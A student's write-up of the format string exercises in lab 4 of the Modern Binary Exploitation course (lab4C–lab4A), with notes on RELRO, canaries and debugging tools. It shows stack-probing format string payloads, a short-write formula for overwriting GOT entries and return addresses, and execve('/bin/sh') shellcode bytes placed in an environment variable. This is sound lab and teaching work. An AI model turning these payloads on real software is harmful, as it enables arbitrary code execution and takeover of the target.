This lab was mostly a math exercise and learning more about the structure of an elf binary. Format string vulnerabilities are powerful tools that can completely control an executable, given you can get the math right on your exploit. I ran all the exploits on my local machine.
shellnoob fun: snoob –intel –from-asm shell.asm –to-python snoob –intel –from-asm shell.asm –to-strace
rabin2 tool: A tool in the r2 suite that extracts useful info from the binary. I’m planning to start using r2 in ctfs this semester. rabin2 is super nice for getting a quick overall summary of an executable.
fixenv tool I found a tool to help create predicatable addresses between gdb and regular program execution by controlling shell environment variables and input! It was super useful in lab4A!
Direct Parameter Access:
%[#]$[format]
Short writes: write two bytes at a time using the “h” format string paramter for %n. Below is a useful python script for future use if I get the chance to use it
|
|
Shellcode handbook notes (addresses to attack):
-
Overwrite the saved return address. To do this, we must work out the address of the saved return address, which means guesswork, brute force, or information disclosure.
-
Overwrite another application- specific function pointer. This technique is unlikely to be easy since many programs don’t leave function point- ers available to you. However, you might find something useful if your target is a C++ application.
-
Overwrite a pointer to an exception handler, then cause an exception. This is extremely likely to work, and involves eminently guessable addresses.
-
Overwrite a GOT entry. We did this in wu-ftpd. This is a pretty good option. PLT (procedure linking table) links to GOT(global offset table) [
objdump -d -j .plt ./fmt_vuln
->objdump -R ./fmt_vuln
] -
Overwrite the atexit handler. You may or may not be able to use this technique, depending on the target.
-
Overwrite entries in the DTORS section. Refer to Hacking_Art_of_Exploitation
-
Turn a format string bug into a stack or heap overflow by overwriting a null terminator with non- null data. This is tricky, but the results can be quite funny.
-
Write application- specific data such as stored UID or GID values with values of your choice.
-
Modify strings containing commands to reflect commands of your choice.
If we can’t run code on the stack, we can easily bypass the problem by the following:
- Writing shellcode to the location of your choice in memory, using % n - type specifiers. We did this in our wu- ftpd example.
- Using a register- relative jump if we’re brute forcing, which gives us a much better chance of hitting our shellcode (if it’s in our format string).
getenvaddr.c:
|
|
RELRO is a generic mitigation technique to harden the data sections of an ELF binary/process. There are two different “operation modes” of RELRO:
Partial RELRO
- compiler command line: gcc -Wl,-z,relro
- the ELF sections are reordered so that the ELF internal data sections (.got, .dtors, etc.) precede the program’s data sections (.data and .bss)
- non-PLT GOT is read-only
- GOT is still writeable
Full RELRO
- compiler command line: gcc -Wl,-z,relro,-z,now
- supports all the features of partial RELRO
- bonus: the entire GOT is also (re)mapped as read-only
Stack Canary: source: Stack Canaries are a secret value placed on the stack which changes every time the program is started. Prior to a function return, the stack canary is checked and if it appears to be modified, the program exits immeadiately.
lab4C
|
|
FIND start of input string address:
Borrowing from the Shellcoder’s Handbook I use the for loop to print out the first 100 dword (8 bytes) bytes on the stack. The grep will identify which dword is the start of the username
variable data.
This script uses linux
[bash gutter=“false” highlight=“2,14”] for (( i=1; i < 100; i++)); do echo “$i”; echo “AAAA%$i$x” | ./lab4C| grep 4141; done [/bash]
The 37th dword contains the username input data, this means the data of the real_pass is just below it (specifically the last 30 bytes defined by PASS_LEN). This means its very easy to print out in gdb where the stack addresses are predictable!
|
|
This was too easy so I wanted to challenge myself to write a script using format strings to print out the password from its value on the stack! I modified the for loop to print out all the bytes on the stack up to the end of the string (a null byte). To get the right numbers I printed modified the beginning index that included the 30th byte down from the username dword. I added an 0x to make finding the address easy with regex.
for (( i=29; i < 37; i++)); do echo "$i"; (echo "0x%$i\$x" | ./lab4C) ; done
Translating this into a pwntools script below to print the password in nice human format! Messing around with the bytes was tricky due to having to account for the endianness of the output.
|
|
Below is the nice output, the null bytes are easy to remove.
lab4B
|
|
This is a very obvious format string exploit, with buf
as the only parameter for the printf call. After reading through both hacking art of exploitation and shellcode books it seemed the best course of action would be to override the GOT pointer to exit and have it point to my shellcode stored in an environment var. Exit is the last function called after the printf statement so this seems appropriate.
First Find the parameter that buf sits on the stack. I forgot that the code changes the letters to lowercase so I had to find the hex of ‘a’ and not ‘A’. This produced a parameter 6
.
|
|
Next I need to get the address of the shellcode env var. This was done with the compiled version of getenvaddr from Hacking_art_of_exploitation (Compiled:gcc -m32 -o getenvaddr getenvaddr.c
) Running in my python script below got an address: 0xffffd531
Unfortunately when I was running the getenvaddr in pwntools it was off by a few bytes (I’m not sure why). So I had to find the address with gdb:
gdb-peda$ hexdump 0xffffd531
0xffffd531 : d2 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 87 e3 .1.Ph//shh/bin..
gdb-peda$ hexdump 0xffffd531-6
0xffffd52b : 3d 31 db 31 c9 31 d2 31 c0 50 68 2f 2f 73 68 68 =1.1.1.1.Ph//shh
gdb-peda$ hexdump 0xffffd531-5
0xffffd52c : 31 db 31 c9 31 d2 31 c0 50 68 2f 2f 73 68 68 2f 1.1.1.1.Ph//shh/
Next is to find the address of exit in the GOT:
|
|
Finally, using direct paramter access and “short writes” overwrite the GOT return address. (using “h” to write only two bytes with %n (instead of the normal 4)). %n writes the number of bytes currently written on the stack, so using %x with an offset controls the bytes written to each address. A formula for the offset number of the %x string: (REMEMBER addresses in little endian!)
x1: [upper 4 bytes] - 8
x2: [lower 4 bytes] - [upper 4 bytes] (wrapping with an extra 1 if negative)
[addr1][addr2]%x1x%[param]$hn%x2%[param+1]$hn
Final Script: The final exploit script using pwntools!
|
|
The final output after I get a shell. There were alot of spaces output due to the high x offset.
lab4A
|
|
At first I thought I could overwite BACKUP_DIR, but the #define string is compiled into the program:
[-------------------------------------code-------------------------------------]
0x8048ac8 <main+232>: mov DWORD PTR [esp],0x1
0x8048acf <main+239>: call 0x8048750 <exit@plt>
0x8048ad4 <main+244>: lea eax,[esp+0x28]
=> 0x8048ad8 <main+248>: mov DWORD PTR [eax],0x61622f2e
0x8048ade <main+254>: mov DWORD PTR [eax+0x4],0x70756b63
0x8048ae5 <main+261>: mov WORD PTR [eax+0x8],0x2f73
0x8048aeb <main+267>: mov BYTE PTR [eax+0xa],0x0
0x8048aef <main+271>: lea eax,[esp+0x28]
[------------------------------------stack-------------------------------------]
Most likely there is a way to overwrite the string in memory since the format string vulnerability would give arbitrary read/write access. However, I thought there might be a more simple address to overwrite!
That becomes complicated when I can no longer overwrite the GOT table due to RELRO (see above). The line highlighting the RELRO feature in the executable. It was also highlighted on line 3 in the compilation of the executable.
|
|
rabin2 is another tool that outputs the same information above with easier detail! Also, checksec command on peda will do the same as well!
╰─$ rabin2 -I lab4A
arch x86
baddr 0x8048000
binsz 7717
bintype elf
bits 32
canary true
sanitiz false
class ELF32
crypto false
endian little
havecode true
intrp /lib/ld-linux.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine Intel 80386
maxopsz 16
minopsz 1
nx false
os linux
pcalign 0
pic false
relocs true
relro full
rpath NONE
static false
stripped false
subsys linux
va true
So the snprintf function is the vulnerable function above that enables the format string vulnerability. Luckily, the userinput (i.e. argv[1]) controls the format string for the print funciton! This means the steps to find the vulnerability are like before: Find the parameter to access the string, use those paramters to override an arbitrary address (i.e. return pointer), and control program execution!
Finding paramter that holds the string:
|
|
Parameter 14 and 15, except they are at a bad offset! In order to fix this add a byte onto the stack! (add an extra byte to the format string!)
$ for (( i=0; i < 100; i++)); do echo $i; ./lab4A XAAAA.%$i\$08x; cat ./backups/.log ; done
< ---- CUT OUTPUT ---- >
14
ERROR: Failed to open XAAAA.%14$08x
LOG: Starting back up: XAAAA.41414141
Now the paramters are clear the next step is to find the right address to overwrite on the stack! In this case a good address to find is the address of the return from log_wrapper funciton. Its closer to the call to vsprintf, and easier to get than the return from main. For some reason gdb would not attach to the process in my python script so I had to find a different way to get a predictable address. I think this is because the lab4A executable would complete faster than the gdb process could attach. Fixenv helped make the process easier by keeping the same environment across gdb and my zsh shell (fixenv explained above).
$ fixenv gdb ./lab4A $(python exploit_4A.py)
< ---- CUT OUTPUT ---- >
[-------------------------------------code-------------------------------------]
0x8048978 <log_wrapper+123>: mov DWORD PTR [esp+0x8],eax
0x804897c <log_wrapper+127>: mov DWORD PTR [esp+0x4],ebx
0x8048980 <log_wrapper+131>: mov DWORD PTR [esp],edx
=> 0x8048983 <log_wrapper+134>: call 0x80487c0 <snprintf@plt>
0x8048988 <log_wrapper+139>: mov DWORD PTR [esp+0x4],0x8048c90
0x8048990 <log_wrapper+147>: lea eax,[ebp-0x10b]
0x8048996 <log_wrapper+153>: mov DWORD PTR [esp],eax
0x8048999 <log_wrapper+156>: call 0x8048700 <strcspn@plt>
Guessed arguments:
arg[0]: 0xffffce6f --> 0x4b16000
arg[1]: 0xec
arg[2]: 0xffffd29e --> 0xffcf8c58
[------------------------------------stack-------------------------------------]
0000| 0xffffce30 --> 0xffffce6f --> 0x4b16000
0004| 0xffffce34 --> 0xec
0008| 0xffffce38 --> 0xffffd29e --> 0xffcf8c58
0012| 0xffffce3c --> 0xf7fd00c0 (0xf7fd00c0)
0016| 0xffffce40 --> 0x8241
0020| 0xffffce44 --> 0xffffd29e --> 0xffcf8c58
0024| 0xffffce48 --> 0x8048cda ("Starting back up: ")
0028| 0xffffce4c --> 0x804b160 --> 0xfbad2484
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 3, 0x08048983 in log_wrapper ()
gdb-peda$ telescope 200
< ---- CUT OUTPUT ---- >
--More--(175/200)
0700| 0xffffd0ec --> 0xffffda22 ("LSCOLORS=Gxfxcxdxbxegedabagacad")
0704| 0xffffd0f0 --> 0xffffda42 ("DESKTOP_SESSION=ubuntu")
0708| 0xffffd0f4 --> 0xffffda59 ("shellcode=1\333\061\311\061\322\061\300Ph//shh/bin\207\343\260\v̀1\300\061۰\001\061\322\061\311̀")
< ---- CUT OUTPUT ---- >
Now the only last remaining step is to get the address to override: the return address.
[-------------------------------------code-------------------------------------]
0x80489d7 <log_wrapper+218>: add esp,0x134
0x80489dd <log_wrapper+224>: pop ebx
0x80489de <log_wrapper+225>: pop ebp
=> 0x80489df <log_wrapper+226>: ret
0x80489e0 <main>: push ebp
0x80489e1 <main+1>: mov ebp,esp
0x80489e3 <main+3>: and esp,0xfffffff0
0x80489e6 <main+6>: sub esp,0x90
[------------------------------------stack-------------------------------------]
0000| 0xffffcf6c --> 0xffffda63 --> 0xc931db31
0004| 0xffffcf70 --> 0x804b160 --> 0xfbad2c84
0008| 0xffffcf74 --> 0x8048cda ("Starting back up: ")
0012| 0xffffcf78 --> 0xffffd29e --> 0xffcf6c58
0016| 0xffffcf7c --> 0xffffd0a4 --> 0xffffd266 ("/home/master/ctf/mbe/MBE_release/levels/lab04/.launcher")
0020| 0xffffcf80 --> 0xffffcfbc --> 0xf7fb1748 --> 0x0
0024| 0xffffcf84 --> 0xffffcfab --> 0x7b4b0000 ('')
0028| 0xffffcf88 --> 0xff000001
[------------------------------------------------------------------------------]
Put it all together in a python script (output the result). I can’t use pwntools to run the executable since that will change the environment and stack addresses. So I have to use the commandline again to run the exploit.